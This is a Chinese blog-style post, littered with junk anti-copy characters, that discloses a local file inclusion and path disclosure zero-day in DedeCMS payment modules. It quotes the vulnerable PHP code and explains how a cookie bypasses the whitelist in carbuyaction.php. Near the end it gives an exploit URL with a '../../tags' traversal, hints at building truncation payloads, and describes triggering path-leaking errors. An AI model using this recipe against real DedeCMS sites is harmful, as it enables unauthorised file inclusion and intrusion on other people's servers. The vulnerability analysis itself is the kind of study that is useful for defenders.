dedecms本地文件包含及物理路径泄露0day

admin

晚餐吃撑了，瞄下代码消化消化。最近Php0day群里的兄弟都在讨论dede洞多，赶紧下了套，用editplus搜索了几个关键字，果然发现些问题。(话说平时写代码也喜欢用editplus，小巧方便多年习惯)

出现漏洞的两个文件为：
Include/payment/alipay.php
% g9 A0 k, I- A! P' \9 P  G' \Include/payment/yeepay.php
: `+ i, X" d8 j3 R, S. ]8 Y5 ^漏洞均出现在respond方法里，估计这两个文件是临时工写的。
( ]# H8 w4 L$ ]  ?( ~: T3 U2 t
" _0 y! f2 ?! ~* E( N! lInclude/payment/alipay.php

3 P( I! M2 e2 Z/ D) e......
- R7 a2 z$ i8 R, ?, B   function respond()
    {
# F4 J( h2 Q0 Y. x% g6 o        if (!empty($_POST))
        {
5 W8 R* i1 |& c. P* u+ l            foreach($_POST as $key => $data)
            {
                $_GET[$key] = $data;
            }
- d1 c. `9 _' E& Z        }
) L& x1 U6 Z1 l3 d        /* 引入配置文件 */
        require_once DEDEDATA.'/payment/'.$_GET['code'].'.php';
9 r( Y5 r5 {4 Z8 r) K......

9 O: X% z, Q( ^: n, D
9 m9 A; T; R7 }' a3 S大概在133行左右，$_GET[‘code’]没有经过任何判断和过滤。

Include/payment/yeepay.php



......
    function respond()
+ Q2 c% V7 Q) J) W% A9 c6 f1 L    {
: u$ N1 O9 j! K0 q/ v2 ~. p
        /* 引入配置文件 */
$ s. X/ Z4 ?8 x3 D/ I$ |, v# ]        require_once DEDEDATA.'/payment/'.$_REQUEST['code'].'.php';

% o% ?: `) u* p" M        $p1_MerId = trim($payment['yp_account']);
        $merchantKey = trim($payment['yp_key']);
......


: u6 l# {; Z4 v' x& A; `7 x

6 H* c1 C( F. o大概在145行左右，$_REQUEST['code']没有经过任何判断和过滤。
  A% O4 F7 n" G7 |
$ k: Y- ]+ b8 _2 K' X这两个方法在plus/carbuyaction.php文件调用。
: D" e  x5 s& \; z1 e
plus/carbuyaction.php

......
1 K1 h* b8 H2 k3 b0 f8 X7 n# s6 w} else if ($dopost == 'return') {
    $write_list = array('alipay', 'bank', 'cod', 'yeepay');
    if (in_array($code, $write_list))
    {
7 U6 y. a1 [  A, {4 Q0 ~        require_once DEDEINC.'/payment/'.$code.'.php';
+ B2 }+ e) B! L/ u4 G. M6 u        $pay = new $code;
        $msg=$pay->respond();
        ShowMsg($msg, "javascript:;", 0, 3000);
9 Q) K3 i, B" Z7 \  y        exit();  
4 j7 ]; L* }. a  n6 I* ~    } else {
+ m* _" d8 U0 S! q        exit('Error:File Type Can\'t Recognized!');
    }
% D; N5 M7 I; B0 F}
& l" X( {% _; O......



1 ?) K$ c! O( h$ {8 U0 w  u; [( j

# Q4 R1 y3 c3 r- T' Y0 i
0 B' o: F4 C' K8 ]" w6 K% v2 u大概在334行，当$dopost等于return的时候就开始进入过程了。熟悉dedecms朋友都知道在include/common.inc.php使用了一种类似register_globals的机制。
1 j3 y" _: b2 t& O& R* D2 S所以$_GET['code']或$_REQUEST['code']会变成$code，而$code是经过判断的，值必须在$write_list数组以内这样才能继续后面的流程调用respond方法触发漏洞。这样的话貌似就无法控制$_GET['code']为任意值了。
, T! n' m! D7 r" X0 J8 F
4 O. r. L9 |/ S3 l& k回到include/common.inc.php来看看他的机制。
7 A" }" s& w9 ^


  Q+ U$ z- `6 P- i! ]- |3 x. _......
foreach(Array('_GET','_POST','_COOKIE') as $_request)
{
; G7 Q3 k  N4 X8 J1 @1 G$ h, w        foreach($$_request as $_k => $_v)
6 [2 b3 |0 c& I( H; c) H        {
8 T. o- Y6 a* |/ e8 H9 A7 ]; o- g) {                if($_k == 'nvarname') ${$_k} = $_v;
                else ${$_k} = _RunMagicQuotes($_v);
( j. N) ^0 C: c4 `        }
}
  i* x& T, b' t0 q2 j. e5 Q......
大概在79行，可以看到他是从$_GET,$_POST,$_COOKIE这三个全局变量里取值的。嘿嘿，细心点就发现了吧。从他这个优先机制来讲他是先从get再从post再从cookie也就是说最终$code会是以$_COOKIE[‘code’]的值为准，而我们要控制的是$_GET[‘code’]或$_REQUEST['code']只须要$code的值在$write_list数组以内就行了。Exp:http://www.php0day.com/plus/carb ... amp;code=../../tags上面的Exp是包含根目录下的tags.php文件包含其他后缀请自行构造截断，使用exp测试时须要自己添加一个code等于alipay或yeepay的cookie。暴路径:
: q0 M5 u7 L+ t由于bank和cod这两个文件并没有respond方法，所以如果code等于bank或者cod时将会暴错泄露路径。注：请勿非法测试，产生后果与本人无关。